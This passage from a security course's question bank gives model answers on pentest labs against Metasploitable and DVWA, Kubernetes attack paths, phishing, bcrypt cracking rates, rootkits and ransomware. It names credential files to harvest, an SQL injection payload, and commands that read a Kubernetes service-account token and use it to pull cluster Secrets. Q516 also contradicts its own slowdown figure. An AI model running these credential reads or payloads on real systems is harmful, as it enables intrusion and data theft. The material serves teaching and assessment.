(5) Configuration file credential harvesting: /etc/samba/smb.conf may reveal domain or workgroup credentials. /etc/ldap/ldap.conf may reveal LDAP authentication settings. /etc/unreal/unrealircd.conf may contain IRC operator passwords. /root/.ssh/known\_hosts reveals SSH targets the root account has previously connected to — these hosts likely accepted this machine's key and may still trust it. The complete set of credentials found across all configuration files creates a credential dictionary for testing against MS3.

**Q512: In Lab 3, on Metasploitable 3, vagrant:vagrant was used with the WinRM scanner auxiliary module. Describe exactly what WinRM is, what auxiliary/scanner/winrm/winrm\_login does, and why finding working credentials is as significant a security finding as finding an exploitable vulnerability.**

**Model Answer:**

WinRM (Windows Remote Management) is Microsoft's implementation of the WS-Management protocol — a SOAP-based protocol for remote management of Windows systems. It runs on port 5985 (HTTP) and 5986 (HTTPS) by default. WinRM allows remote administration including executing PowerShell commands, managing services, and accessing system information. It is functionally similar to SSH for Linux systems. On Metasploitable 3, WinRM was enabled and accessible on port 5985.

What auxiliary/scanner/winrm/winrm\_login does: The module is a credential brute-force scanner for WinRM. It takes a list of usernames (-l or -L) and passwords (-p or -P) and tests each combination against the target's WinRM service. When a valid credential pair is found, it reports success and optionally opens an interactive shell session. In Lab 3: set RHOSTS 10.0.2.15, username vagrant, password vagrant → the module confirmed successful authentication and opened a command shell.

Why working credentials are as significant as an exploitable vulnerability: Finding vagrant:vagrant on WinRM demonstrates that authentication — the primary control protecting the system — has failed completely. The practical difference between 'we found a working credential' and 'we exploited CVE-XXXX' is minimal from an impact perspective:

(1) Access level: Both give command execution on the target. vagrant:vagrant gives a Windows shell with the vagrant user's permissions — not SYSTEM, but sufficient for further escalation (which Lab 3 then demonstrates using getsystem).

(2) Detection difficulty: Credential-based access looks like legitimate administrative activity in logs — a valid account authenticated successfully. Exploit-based access may generate IDS alerts, crash logs, or unusual network patterns that skilled defenders notice.

(3) Difficulty to remediate: An exploited CVE is fixed by patching. Credential-based access requires credential rotation and access review — and raises the question of how many other systems use the same default credentials.

(4) Credential reuse: vagrant:vagrant found on one system may work on other systems in the environment. An exploit for a specific CVE may not be portable.

The course lesson: default and weak credentials are vulnerabilities in the same class as software CVEs. Authentication failures require the same priority remediation.

**Q513: GVM found 14 critical-severity findings on Metasploitable 2. List all 14 with port, CVE (if applicable), and a one-sentence description of what each means from an attacker's perspective.**

**Model Answer:**

The 14 critical GVM findings on Metasploitable 2 (10.0.2.4):

- (1) Port 1524/tcp — Ingreslock backdoor (CVSS 10.0): Open root bind shell — connecting immediately gives uid=0(root), no credentials.
- (2) Port 512/tcp — rexec service (CVSS 10.0): Unencrypted remote execution with cleartext credential transmission — can execute commands remotely.
- (3) Port 513/tcp — rlogin passwordless login (CVSS 10.0): .rhosts trust allows root login with no password — connect and get root shell instantly.
- (4) Port 80/tcp — TWiki XSS and RCE (CVE-2008-5304, CVE-2008-5305, CVSS 10.0): TWiki wiki application allows cross-site scripting and remote command execution through crafted input.
- (5) Port 8787/tcp — dRuby RCE (CVSS 10.0): The Distributed Ruby protocol allows remote method invocation without authentication — can invoke arbitrary Ruby code on the server.
- (6) general/tcp — OS End of Life — Ubuntu 8.04 (CVSS 10.0): No security patches since May 2013; every newly discovered vulnerability is permanently unpatched.
- (7) Port 21/tcp — vsftpd 2.3.4 backdoor (CVE-2011-2523, CVSS 9.8): Sending ':' in username triggers a root shell on port 6200 — no credentials needed.
- (8) Port 6200/tcp — vsftpd backdoor shell port (CVSS 9.8): The port opened by the vsftpd backdoor trigger — direct root shell access.
- (9) Port 3306/tcp — MySQL root with empty password (CVSS 9.8): MySQL database root account requires no password — full database control and potential OS file read/write via FILE privilege.
- (10) Port 8009/tcp — Ghostcat AJP RCE (CVE-2020-1938, CVSS 9.8): AJP connector allows reading web application files and potentially executing code through path manipulation.
- (11) Port 80/tcp — PHP CGI RCE (CVE-2012-1823, CVSS 9.8): PHP in CGI mode allows command-line arguments injection via URL query strings — remote code execution.
- (12) Port 3632/tcp — DistCC RCE (CVE-2004-2687, CVSS 9.3): DistCC distributed compiler daemon accepts unauthenticated compile requests containing embedded shell commands.
- (13) Port 5432/tcp — PostgreSQL default credentials (CVSS 9.0): postgres:postgres accepted — full database access.
- (14) Port 5900/tcp — VNC weak password (CVSS 9.0): Password 'password' grants graphical desktop access with no further authentication.

**Q514: Lab 3 requires writing an executive summary of the penetration test. What are the key elements of an effective executive summary for a non-technical audience, and what specific findings from the Metasploitable 2 and 3 assessments would be highlighted?**

**Model Answer:**

Key elements of an effective penetration test executive summary:

(1) Overall risk statement in plain language: Avoid technical CVE numbers and version strings. The audience wants to understand consequence, not mechanism. Good: 'Both systems were fully compromised. An attacker with network access could read, modify, or delete all data on both servers without needing a password.' Bad: 'CVE-2017-0144 CVSS 9.3 buffer overflow in SMBv1.'

(2) Business impact framing: Connect findings to business consequences. 'Access to MS3 includes Jenkins CI/CD configuration, WordPress content, and Elasticsearch data. In a real environment, this represents exposure of customer data, source code, deployment credentials, and every system the CI/CD pipeline can reach.'

(3) Number of critical findings without technical detail: 'Metasploitable 2 has 14 critical vulnerabilities. 5 of these require no credentials and can be exploited by any attacker with network access.'

(4) Root cause summary: Identify the underlying themes rather than listing each CVE. 'The findings fall into four categories: (a) software containing deliberately inserted backdoors, (b) services using no password or default/trivial passwords, (c) outdated software no longer receiving security patches, (d) legacy protocols transmitting credentials in cleartext.'

(5) Key recommendation: What must happen first, in plain terms. 'Both systems should be treated as fully compromised and taken offline immediately. They should not be patched — they should be replaced with properly configured, supported systems. Neither should be connected to any network containing sensitive data.'

Specific highlights for these targets: MS2 — 'Five separate attack paths all reached administrative control without any password. The operating system has not received a security update in over a decade. This system represents maximum possible risk.' MS3 — 'The Windows server was completely taken over using a vulnerability that Microsoft patched in 2017 — the same vulnerability used in the WannaCry ransomware attack that infected 230,000 systems globally. The server's administrative software (Jenkins) would give an attacker access to every system in the build and deployment pipeline.'

**Q515: Lab 9 includes a calculation: an 80-bit key is being brute-forced at  $2^{30}$  keys per second. How long would this take? Show the calculation, state the result, and explain what this demonstrates about key length selection.**

**Model Answer:**

Calculation: Total number of 80-bit keys =  $2^{80}$ . Rate of testing =  $2^{30}$  keys per second.

Time in seconds =  $2^{80} / 2^{30} = 2^{(80-30)} = 2^{50}$  seconds.

Converting  $2^{50}$  seconds to years:  $2^{50} = 1,125,899,906,842,624$  seconds. Seconds per year  $\approx 365.25 \times 24 \times 3600 \approx 31,557,600 \approx 2^{24.9}$ . Years =  $2^{50} / 2^{24.9} \approx 2^{25.1} \approx 35,700,000$  years  $\approx 35.7$  million years.

This is the optimistic estimate — it assumes constant cracking rate, no overhead, and dedicated hardware running without interruption.

What this demonstrates about key length:

(1) Each additional bit doubles the search space: An 81-bit key takes 71.4 million years; an 82-bit key takes 142.8 million years. The relationship is exponential — adding bits to key length creates disproportionate increases in cracking time.

(2) 80-bit keys are already computationally infeasible against a single machine: At  $2^{30}$  (about 1 billion) keys/second — roughly what a modern GPU achieves for some algorithms — 80 bits provides over 35

million years of resistance.

(3) This is why DES is broken and AES is not: DES has a 56-bit effective key space.  $2^{56} / 2^{30} = 2^{26}$  seconds  $\approx$  2 years — feasible with dedicated hardware. In practice, with specialised ASICs and GPU farms, DES has been cracked in hours. AES-128 has  $2^{128}$  key space:  $2^{128} / 2^{30} = 2^{98}$  seconds  $\approx$   $10^{22}$  years — astronomically beyond any feasible attack.

(4) The calculation is optimistic for asymmetric algorithms: This analysis applies to symmetric brute force. For RSA and ECC, the security reduction (factoring, discrete logarithm) makes the equivalent classical attack much slower than brute-forcing the key space, which is why RSA requires much larger keys (2048-4096 bits) to achieve comparable security to AES-128.

**Q516: In Lab 6, john cracked the hash of 'spongecola' from rockyou.txt. The hash type was bcrypt (\$2y\$). Walk through exactly how john processes a bcrypt hash differently from an MD5 hash, and calculate roughly how much slower bcrypt makes the attack.**

**Model Answer:**

How john processes an MD5 hash: MD5 is a general-purpose hash — it was designed for speed. John can compute MD5 at roughly 10-50 billion hashes per second on modern GPU hardware. For each candidate password from rockyou.txt, john: (1) Reads the candidate (e.g., 'password'). (2) Computes MD5('password') = 5f4dcc3b5aa765d61d8327deb882cf99. (3) Compares the result to the target hash. (4) If match: cracked. The rate is so fast that rockyou.txt (14 million entries) is exhausted in milliseconds to seconds.

How john processes a bcrypt hash: bcrypt is a purpose-built password hashing function. Its distinguishing feature is the work factor (cost parameter), embedded in the hash as part of the \$2y\$COST\$ prefix — typically \$2y\$10\$ to \$2y\$14\$ for modern deployments. Each bcrypt computation requires  $2^{\text{COST}}$  rounds of the Blowfish cipher. At cost factor 10 ( $2^{10} = 1,024$  iterations), bcrypt is designed to take approximately 100-300ms per hash on a modern CPU. On GPU hardware, bcrypt is memory-bound (Blowfish requires frequent random memory access), making GPU parallelism far less effective than for MD5. Typical GPU rate for bcrypt-10: approximately 5,000-20,000 hashes per second.

Calculating the slowdown: MD5 rate:  $\sim 10,000,000,000$  (10 billion) hashes/second on GPU. bcrypt-10 rate:  $\sim 10,000$  hashes/second on GPU. Slowdown factor:  $10,000,000,000 / 10,000 = 1,000,000\times$  (one million times slower).

Practical impact on rockyou.txt: At MD5 speed:  $14,000,000$  entries /  $10,000,000,000$  per second = 0.0014 seconds — cracked in a fraction of a second. At bcrypt-10 speed:  $14,000,000 / 10,000$  per second = 1,400 seconds  $\approx$  23 minutes. The bcrypt computation takes over a thousand times longer.

For 'spongecola': Even with bcrypt, 'spongecola' is in rockyou.txt and will be found in the first pass through the wordlist — the delay is proportional but the outcome is the same. The protection bcrypt provides is not against wordlist attacks on common passwords — it is against brute-force attacks on random passwords. 'spongecola' being findable in 23 minutes (versus milliseconds) is still a problem, but bcrypt buys significant time for breach detection and response when passwords are genuinely strong and random.

**Q517: Lab 5 ends by asking students to draft a security policy for the DVWA system. Write the seven policy rules identified in the lab, explain the security principle each addresses, and identify which specific finding from the lab each rule was designed to prevent.**

**Model Answer:**

The seven security policy rules from Lab 5 and their connections to specific findings:

- (1) 'All database queries must use prepared statements (parameterised queries).' Security principle: structural separation of SQL commands from user data. Specific finding prevented: the OR 1=1# SQL injection that returned all user records and the UNION SELECT that extracted password hashes. Without this policy, any developer who writes SELECT ... WHERE x = '\$input' creates a vulnerability.
- (2) 'Passwords must be stored using bcrypt or Argon2 with salt.' Security principle: computational resistance to offline cracking. Specific finding prevented: the MD5 hashes extracted from the users table were crackable in hours using rockyou.txt. Bcrypt/Argon2 would have made cracking infeasible for strong passwords and very slow even for weak ones.
- (3) 'Users must follow strong password policies (length, complexity).' Security principle: password entropy. Specific finding contextualised: even strong hashing cannot protect trivially guessable passwords like 'password' (the MD5 of which is well-known: 5f4dcc3b5aa765d61d8327deb882cf99). Policy must enforce that passwords are not in rockyou.txt or similar lists.
- (4) 'Service accounts must not have root/sudo privileges unless necessary.' Security principle: least privilege. Specific finding prevented: the lab showed that msfadmin had sudo privileges, which allowed escalation from web application access to full system control. The web server process should run as www-data with no sudo access.
- (5) 'Database access must be restricted to localhost or trusted hosts only.' Security principle: network least privilege / minimise attack surface. Specific finding prevented: MySQL on port 3306 was network-exposed with an empty root password. Restricting MySQL to localhost (127.0.0.1 only, in my.cnf bind-address) means even if the root password is blank, no external host can connect.
- (6) 'Directory listing must be disabled on web servers.' Security principle: information disclosure reduction. Specific finding prevented: directory listing exposed config.inc.php containing root:blank database credentials. A single Apache configuration directive (Options -Indexes) prevents this.
- (7) 'SSH access must use key-based authentication and be limited by firewall rules.' Security principle: strong authentication and access control. Specific finding prevented: SSH was accessible from the external network with password-based authentication, allowing the lab to connect using msfadmin:msfadmin. Key-based auth removes the guessable-password attack vector; firewall rules limit who can attempt connections.

**Q518: What are the 4Cs of cloud-native security? Explain each layer, give a concrete threat example for each, and explain why the model is described as nested rather than parallel.**

**Model Answer:**

The 4Cs is a defence-in-depth framework for cloud-native (container/Kubernetes) systems. The four layers are Cloud, Cluster, Container, and Code — each wrapping the next. Security is only as strong as the weakest layer: a weakness in an outer layer undermines inner-layer controls regardless of how well the inner layer is configured.

**Cloud:** The underlying infrastructure — the physical or virtual machines, managed Kubernetes service (EKS/GKE/AKS), cloud IAM roles, storage permissions, networking, and cloud provider APIs. Threat example: A misconfigured cloud IAM policy grants every EC2 instance in an account the ability to describe all S3 buckets. An attacker who compromises any container can then query the IMDS metadata endpoint, get the instance role credentials, and access sensitive S3 data entirely bypassing Kubernetes controls. Controls: least-privilege cloud IAM, private cluster API endpoint, firewall rules on cloud network, Cloud Security Posture Management (CSPM).

**Cluster:** Kubernetes control-plane security — the API server, etcd, kubelet, RBAC, Network Policies, audit logging, and admission controllers. Threat example: A workload is deployed with a service account that has a ClusterRoleBinding to cluster-admin. An attacker who compromises that container can use the auto-mounted SA token to interact with the Kubernetes API as a cluster administrator, reading all Secrets, creating privileged containers, and persisting access. Controls: RBAC least privilege, audit logging, Network Policies, etcd encryption at rest, disable anonymous API access.

**Container:** The Docker/container image, build process, base image, installed packages, and runtime configuration. Threat example: A container image is built FROM ubuntu:latest, inheriting an unpatched CVE in OpenSSL. The container runs as root with no seccomp profile. An attacker who achieves code execution in the container has a much easier path to container escape. Controls: image scanning (Trivy), minimal base images (distroless), non-root user, read-only filesystem, drop Linux capabilities, seccomp/AppArmor profiles.

**Code:** The application logic, dependencies, API design, secrets handling, and input validation inside the workload. Threat example: A microservice has a SQL injection vulnerability in its query parameter. An attacker exploits it to extract all user data, regardless of how well the cluster or container is hardened — SQL injection bypasses all K8s controls. Controls: parameterised queries, dependency scanning (Snyk), SAST/DAST, secrets manager (not hardcoded credentials), secure code review.

**Why nested:** Each outer layer can limit blast radius but cannot prevent a vulnerability at an inner layer. A strong cluster RBAC policy does not prevent SQL injection in the application code. Equally, perfect application code does not protect against a compromised base image. Defences must be present at every layer.

**Q519: The Kubernetes threat model identifies five main attack vectors. For each, describe the vector, give one concrete exploitation path, and state the primary control that addresses it.**

**Model Answer:**

The five main Kubernetes attack vectors from the course threat model:

(1) Denial of Service (DoS): An attacker exhausts resources within the cluster — CPU, memory, storage, network connections, or API server request rate — preventing legitimate workloads from functioning. Exploitation path: a malicious or buggy container generates thousands of API server requests per second, exhausting the API server's connection pool and making kubectrl commands time out for all legitimate

administrators. Primary control: resource quotas and LimitRanges on namespaces cap CPU/memory per container; API server rate limiting and priority-and-fairness configuration limits per-user request rates.

(2) Compromised Container: An attacker gains code execution inside a running container — through an application vulnerability, a vulnerable dependency, a malicious image, or stolen credentials. Exploitation path: a Node.js application running in a container has a prototype pollution RCE vulnerability. The attacker achieves code execution inside the container, reads the auto-mounted service account token at `/var/run/secrets/kubernetes.io/serviceaccount/token`, and uses it to call the Kubernetes API to list and read all Secrets in the namespace. Primary control: disable service account token auto-mounting (`automountServiceAccountToken: false`) for workloads that don't need API access; RBAC least privilege on service accounts.

(3) Service Account Token Compromise: An attacker obtains a Kubernetes service account token — through container compromise, a mounted secret, or an SSRF vulnerability — and uses it to make authenticated API calls. Exploitation path: a web application has an SSRF vulnerability. The attacker uses it to reach `http://169.254.169.254/latest/meta-data/` (cloud metadata) or the token file path, extracting a service account token with `get/list/create` permissions on pods cluster-wide. Primary control: short-lived tokens (projected service account tokens with TTL), RBAC binding tokens to minimal permissions, SSRF prevention at the application layer.

(4) Network Endpoints: By default, all Pods in a Kubernetes cluster can communicate with all other Pods regardless of namespace. An attacker in a compromised container can reach internal services that should be isolated. Exploitation path: a compromised frontend container directly connects to a backend database Pod on port 5432 using its ClusterIP, extracting all data — bypassing any intended application-layer access controls. Primary control: Network Policies implementing default-deny for all Pod-to-Pod traffic, with explicit allow rules only for required communication paths.

(5) RBAC Misconfiguration: Many attack paths in Kubernetes rely on overly broad RBAC permissions — wildcard verbs, cluster-wide resource access, or unnecessary ClusterRoleBindings. Exploitation path: a CI/CD pipeline service account is granted a ClusterRoleBinding to the built-in `edit` role cluster-wide. An attacker who compromises the CI/CD system can create pods in any namespace with privileged securityContexts and hostPath mounts, achieving full node compromise. Primary control: RBAC audit — regularly review all ClusterRoleBindings and RoleBindings, enforce least-privilege service accounts, use namespace-scoped Roles rather than ClusterRoles where possible.

**Q520: Why is etcd described as the most critical Kubernetes component to protect? What does it store, what happens if it is compromised, and what are the two key technical controls?**

**Model Answer:**

etcd is a distributed, consistent key-value store that serves as the single source of truth for all Kubernetes cluster state. Everything the API server knows about the cluster is stored in etcd: all resource definitions (Pods, Deployments, Services, ConfigMaps), all RBAC policies (Roles, RoleBindings, ClusterRoles), and critically, all Kubernetes Secrets.

What etcd stores: Kubernetes Secrets — including database passwords, API keys, TLS private keys, service account tokens, and any other sensitive values the cluster manages — are stored in etcd. Although Secrets appear as base64-encoded values in API responses, base64 is encoding, not encryption. Unless encryption at rest is explicitly configured, Secrets are stored in plaintext in etcd.

What happens if etcd is compromised: An attacker with read access to etcd has immediate access to all Secrets in the cluster without needing Kubernetes API authentication or RBAC authorisation — they bypass the entire access control layer by reading the data store directly. Effectively: etcd compromise = complete cluster compromise. The attacker can extract all credentials, impersonate any service account, and read all sensitive configuration data. With write access to etcd, the attacker can also modify cluster state, create privileged resources, or modify RBAC policies.

Two key technical controls:

(1) Encryption at rest: Kubernetes supports encrypting Secret values in etcd using an EncryptionConfiguration resource. When configured, the kube-apiserver encrypts Secret data before writing to etcd and decrypts it on read. This means that even if an attacker obtains a raw etcd snapshot, Secret values are encrypted ciphertext rather than base64-encoded plaintext. Key management is critical: the encryption key must be stored separately from etcd (an HSM or a managed KMS service like AWS KMS or GCP KMS) — otherwise encrypting etcd with a key also stored in etcd provides no real protection.

(2) Network isolation: etcd must only accept connections from the Kubernetes API server — not from worker nodes, not from the internet, not from any other component. The etcd cluster should be on a separate network segment reachable only from the API server's IP. In managed Kubernetes (EKS, GKE, AKS), etcd is managed by the cloud provider and not directly accessible. In self-hosted clusters, firewall rules and TLS client certificates should restrict etcd access exclusively to the API server.

**Q521: An attacker achieves code execution inside a Kubernetes Pod. Trace the complete attack path from initial container compromise to full cluster control, identifying each step and the control that would have stopped it.**

**Model Answer:**

This is the most important Kubernetes attack path in the course. Starting from code execution in a container:

Step 1 — Read the auto-mounted service account token: All Pods have a service account token automatically mounted at `/var/run/secrets/kubernetes.io/serviceaccount/token` by default. The attacker reads this token: `cat /var/run/secrets/kubernetes.io/serviceaccount/token`. This token authenticates as the Pod's service account to the Kubernetes API. Control that stops it: Set `automountServiceAccountToken: false` in the Pod spec for any workload that does not need API access. Most application workloads have no reason to call the Kubernetes API directly.

Step 2 — Query the Kubernetes API with the token: The attacker uses the token: `curl -H "Authorization: Bearer $(cat token)" https://kubernetes.default.svc/api/v1/namespaces/default/secrets` to list and read Secrets. If the service account has cluster-wide permissions, all Secrets across all namespaces are readable. Control that stops it: RBAC least privilege — bind service accounts only to the minimum permissions required (e.g., get specific ConfigMaps, not list all Secrets). Use namespace-scoped Roles, not ClusterRoles.

Step 3 — Extract cluster-wide Secrets: Database passwords, third-party API keys, TLS certificates, and other sensitive values are extracted from etcd via the API. Control that stops it: Encryption at rest ensures that even if secrets are read, their values are encrypted. External secrets management (Vault, AWS Secrets Manager) means sensitive values are not stored in etcd at all.

Step 4 — Deploy a privileged container or modify existing workloads: With sufficient RBAC permissions, the attacker creates a new Pod with `hostPID: true`, `hostPath` mounts (`/`), and `privileged: true` — effectively giving full access to the underlying node. Control that stops it: Admission controllers (OPA/Gatekeeper, Pod

Security Admission) block creation of privileged Pods; deny hostPath mounts to sensitive directories.

Step 5 — Escape to the node: The privileged container with a hostPath mount of / can read and write the host's entire filesystem, execute commands as root on the host, and install a backdoor. From the node, the attacker can access credentials for all Pods on the node, the kubelet service account, and potentially pivot to other nodes. Control that stops it: Non-root containers, read-only root filesystem, drop all Linux capabilities, seccomp profiles limiting syscalls — all significantly raise the bar for container escape even from privileged contexts.

Step 6 — Full cluster control: From a compromised node with kubelet credentials, the attacker can forge Pod status updates, access secrets mounted to any Pod on that node, and eventually reach cluster-admin level. The entire cluster is now compromised. Control that stops it: Node isolation — nodes should only have access to secrets for Pods scheduled on them (node authorisation mode); regular audit of kubelet certificate validity.

**Q522: The course covers several psychological principles that social engineers exploit. Name five such principles, give a real phishing or social engineering example for each, and explain the countermeasure.**

**Model Answer:**

Social engineering exploits cognitive shortcuts that humans use for rapid decision-making. Five key principles:

- (1) Authority: People comply with requests from perceived authority figures without critically evaluating the request. Phishing example: An email purportedly from the CEO instructs the Finance team to wire funds urgently for a confidential acquisition — 'Do not discuss with colleagues until the deal closes.' The authority of the sender plus secrecy overrides normal verification. Countermeasure: Establish out-of-band verification procedures — any financial request above a threshold requires a phone call to a known number, not a number in the email. Train staff that real executives accept verification delays.
- (2) Urgency: Time pressure prevents careful evaluation and triggers reactive compliance. Phishing example: 'Your account will be suspended in 24 hours unless you verify your identity immediately.' The deadline prevents the target from taking time to verify legitimacy. Countermeasure: Explicitly train staff that urgency in an unexpected communication is a red flag, not a reason to act faster. Build processes that have a mandatory pause for unusual requests.
- (3) Social proof: People assume that behaviour validated by others is correct. Phishing example: 'Like thousands of your colleagues, you need to complete your annual security training — click here.' Implies everyone else has already complied. Countermeasure: Awareness training highlighting that social proof in unsolicited messages is a manipulation technique.
- (4) Scarcity and fear of loss: Loss aversion — the fear of losing something — is a stronger motivator than potential gain. Phishing example: 'Your invoice is overdue — failure to pay within 48 hours will result in legal proceedings and damage to your credit rating.' Threat of significant negative consequences overrides careful evaluation. Countermeasure: Verify through known channels. Real creditors have documented processes and do not demand immediate action via email alone.
- (5) Liking and familiarity: People comply more readily with requests from people or organisations they like or recognise. Phishing example: Spear phishing using the name of a colleague ('Hi, it's Jonas from IT — could you quickly send me your VPN credentials? I'm locked out and have a presentation in 10 minutes'). Fake sender name matches a real person's identity. Countermeasure: Never provide credentials to anyone over

email or phone regardless of who they claim to be. Credential requests from 'colleagues' should always be verified in person or via a known phone number.

**Q523: Describe the full lifecycle of a targeted spear phishing attack from initial reconnaissance to credential capture. Identify the technical indicators a well-trained user should check at each stage.**

**Model Answer:**

A spear phishing attack is tailored to a specific target, making it far more convincing than generic phishing. The lifecycle:

Stage 1 — Reconnaissance: The attacker researches the target on LinkedIn (job title, team, manager's name, recent projects), the company website (email format, department structure, partner companies), and social media (personal interests, recent travel, work events). They identify a credible pretext: 'IT Help Desk following up on your support ticket #47291' or 'HR sharing this year's updated benefits package.' Technical indicator to check: this stage generates no traffic to the victim — it is entirely passive.

Stage 2 — Infrastructure setup: The attacker registers a lookalike domain (e.g., company-helpdesk.com instead of company.com), obtains a TLS certificate for it (free from Let's Encrypt — certificate existence does not imply legitimacy), and clones a convincing login page. Technical indicator: WHOIS shows the lookalike domain was registered recently (days or weeks ago). SPF/DKIM records are absent or minimal on new domains.

Stage 3 — Email delivery: The phishing email is sent from the lookalike domain. It uses the target's manager's name in the from display name, references real project names from LinkedIn, and includes urgency ('Before the 3pm meeting today'). Technical indicator to check: (a) Actual sender address (not display name) — does it match the claimed organisation's real domain? (b) Links — hover over any link before clicking; the URL should match the claimed destination. (c) Email headers — does the SPF/DKIM/DMARC align with the claimed domain? (d) Unexpected attachment or credential request — legitimate services don't ask for passwords via email.

Stage 4 — Credential capture page: The victim clicks the link and sees a convincing login page. Technical indicator to check: (a) URL in the browser address bar — even if the page looks identical, the domain is not the real domain. (b) TLS certificate — click the padlock; does the certificate show the real organisation's domain or an unfamiliar one? (c) No padlock or certificate warning — stop immediately. (d) The page asked for credentials unexpectedly.

Stage 5 — Use and further attack: The captured credentials are used immediately. For real-time phishing (adversary-in-the-middle), the attacker passes the credentials and MFA code to the real site in real time. Technical indicator that capture occurred: failed login notification from the legitimate service; login notification from an unusual geography; account lockout.

Countermeasures at each stage: Recognise urgency + credential request as a phishing signal; verify sender domains not display names; hover before clicking; use FIDO2/WebAuthn hardware keys (phishing-resistant MFA) so captured passwords cannot be used without the physical token; report suspected phishing immediately rather than ignoring it.

**Q524: What is an attack tree? Construct a simple attack tree for the goal 'Gain unauthorised access to a corporate web application', showing at least two levels of OR and AND nodes, and**

**explain how the tree is used for prioritisation.**

**Model Answer:**

An attack tree is a structured, hierarchical diagram representing the ways an attacker can achieve a specific goal. The root node is the attacker's objective. Child nodes are sub-goals or individual actions. OR nodes mean the parent goal is achieved if any child succeeds; AND nodes mean all children must succeed for the parent goal to be achieved.

Attack tree for 'Gain unauthorised access to corporate web application':

Root (OR): Gain unauthorised access to the web application.

Child OR branch 1: Exploit authentication bypass. Children (OR): (a) SQL injection on login form — bypasses authentication directly. (b) Exploit password reset vulnerability — gain access to account via predictable reset token. (c) Use stolen valid credentials. Sub-children of (c) (OR): (i) Purchase credentials from a breach database. (ii) Phish credentials from an employee. (iii) Brute-force weak password.

Child OR branch 2: Exploit session management. Children (OR): (a) Steal valid session cookie via XSS. (b) Session fixation — set known session ID before authentication. (c) Sniff session token from unencrypted HTTP connection (AND node: requires both 'TLS not enforced' AND 'network position on path').

Child OR branch 3: Exploit a vulnerability in the application code (AND node requiring two conditions). Children (AND): (a) A remotely exploitable vulnerability exists in the application (e.g., SSRF, RCE, path traversal) AND (b) the application is reachable without prior authentication.

How attack trees are used for prioritisation: Each leaf node can be assigned attributes: cost to the attacker (effort, skill, tools required), probability of success, and detectability. These values propagate up the tree (OR nodes take the minimum cost of children; AND nodes sum the costs of children). This identifies which attack paths are cheapest and most likely — these are the highest-priority mitigations. In this tree, 'brute-force weak password' has low cost (automated tools, rockyou.txt) and high probability if no rate limiting exists — making it a high-priority finding. 'Sniff session token' requires AND conditions (both no TLS AND network position) — higher cost, lower priority unless specific network conditions apply.

**Q525: What is DREAD scoring and how is it used to prioritise threats identified by STRIDE? Calculate a DREAD score for the SQL injection finding from Lab 5 on the DVWA system.**

**Model Answer:**

DREAD is a risk-scoring framework used to prioritise security threats after they have been identified. It provides a structured way to rank threats by combining five dimensions into a numeric score, enabling comparison across different threat types.

The five DREAD dimensions (each scored 0-10):

D — Damage potential: How severe is the impact if the threat is exploited? 0 = no damage; 10 = complete system/data compromise. Considers confidentiality, integrity, and availability impact.

R — Reproducibility: How reliably can an attacker reproduce the exploit? 0 = extremely rare conditions; 10 = always works, fully reliable.

E — Exploitability: How much effort, skill, and tooling does the attack require? 0 = requires advanced custom research; 10 = any script kiddie with a tool can exploit it.

A — Affected users: How many users are impacted? 0 = only the attacker's own data; 10 = all users of the system.

D — Discoverability: How easy is it for an attacker to find this vulnerability? 0 = requires deep code review or insider knowledge; 10 = publicly documented and scannable.

DREAD score = (D + R + E + A + D) / 5. Total range: 0-10. High = 7.5-10; Medium = 4.0-7.4; Low = 0-3.9.

DREAD score for Lab 5 DVWA SQL injection:

D (Damage): SQL injection extracted all user password hashes, enabling account takeover and credential reuse. The database contained user table with all credentials. Score: 9 — complete credential compromise for all users.

R (Reproducibility): The payload ' OR 1=1# works reliably every time on DVWA Low security. Score: 10 — perfectly reproducible.

E (Exploitability): Basic SQL injection requires minimal skill; the DVWA exercise uses a browser and a text field. Automated tools (SQLmap) can exploit it with a single command. Score: 9.

A (Affected users): All 50,000 users had their hashes extracted (from the Lab scenario). Score: 9 — entire user population affected.

D (Discoverability): SQL injection on input fields is discovered by submitting a single quote. Automated scanners and basic manual testing find it trivially. Score: 9.

DREAD score:  $(9 + 10 + 9 + 9 + 9) / 5 = 46 / 5 = 9.2$  — High priority. This aligns with OWASP's placement of SQL injection as one of the most critical web application risks.

### **Q526: What are rootkits? Explain the difference between user-mode and kernel-mode rootkits, and describe the detection challenge each presents.**

#### **Model Answer:**

A rootkit is a collection of tools and techniques that an attacker installs after gaining initial access to a system, designed to maintain persistent privileged access while hiding the attacker's presence from the system's administrators and security tools.

User-mode rootkits: Operate at the application layer (Ring 3 in x86 privilege model). They replace or intercept standard system utilities — ls, ps, netstat, find — with modified versions that filter their output to hide attacker processes, files, and network connections. For example, a user-mode rootkit replaces /bin/ps with a version that lists all processes except those with names matching the attacker's tools. They may also hook library functions (LD\_PRELOAD injection on Linux) to intercept system calls at the library level.

Detection challenge for user-mode rootkits: They are detectable by booting from trusted external media and comparing the system's executables against known-good hashes, or by using a trusted statically-linked analysis tool that doesn't rely on the potentially-compromised system libraries. However, detection on the live running system is unreliable — the tools used for detection may themselves be compromised.

Kernel-mode rootkits (most dangerous): Operate at the kernel level (Ring 0). They modify the operating system kernel itself — either by replacing kernel modules (LKM rootkits on Linux) or by directly patching kernel memory. At this level, they can intercept system calls before they reach user space, hiding processes, files, network connections, and the rootkit itself even from tools that inspect /proc directly. They may also disable security modules (SELinux, AppArmor) and anti-rootkit tools.

Detection challenge for kernel-mode rootkits: Standard operating system tools are entirely unreliable — the kernel is the foundation that everything else depends on. Detection requires: offline analysis from trusted external media, integrity checking of kernel memory against known-good values (expensive and complex), hardware-level attestation (Trusted Platform Module), or firmware/hypervisor-level monitoring that operates below the compromised kernel. Once a kernel-mode rootkit is installed, the safest response is to treat the entire system as untrustworthy and rebuild from known-good media.

**Q527: Describe the technical lifecycle of a ransomware attack from initial delivery to ransom demand. Explain why paying the ransom is not a recovery strategy, and what the two backup properties are that determine whether an organisation can recover without paying.**

**Model Answer:**

Technical ransomware lifecycle:

- (1) Delivery: Ransomware typically arrives via phishing email (malicious attachment or link), drive-by download from a compromised website, exploitation of a public-facing vulnerability (e.g., EternalBlue, RDP brute force — as in WannaCry and many RaaS campaigns), or supply-chain compromise. The initial payload is often a loader or dropper that downloads the actual ransomware.
- (2) Establish foothold and lateral movement: Before encrypting, sophisticated ransomware operators spend time in the environment (the 'dwell time' — often weeks). They establish persistence, escalate privileges (often to domain admin), map the network, identify backup systems, and disable or corrupt them. This phase explains why ransomware victims often cannot simply restore from backup — the backup systems were targeted first.
- (3) Exfiltration (double extortion): Modern ransomware operators exfiltrate data before encryption. This enables 'double extortion': ransom demand for decryption key, with a separate threat to publish stolen data if not paid. This means even a working backup does not fully neutralise the threat.
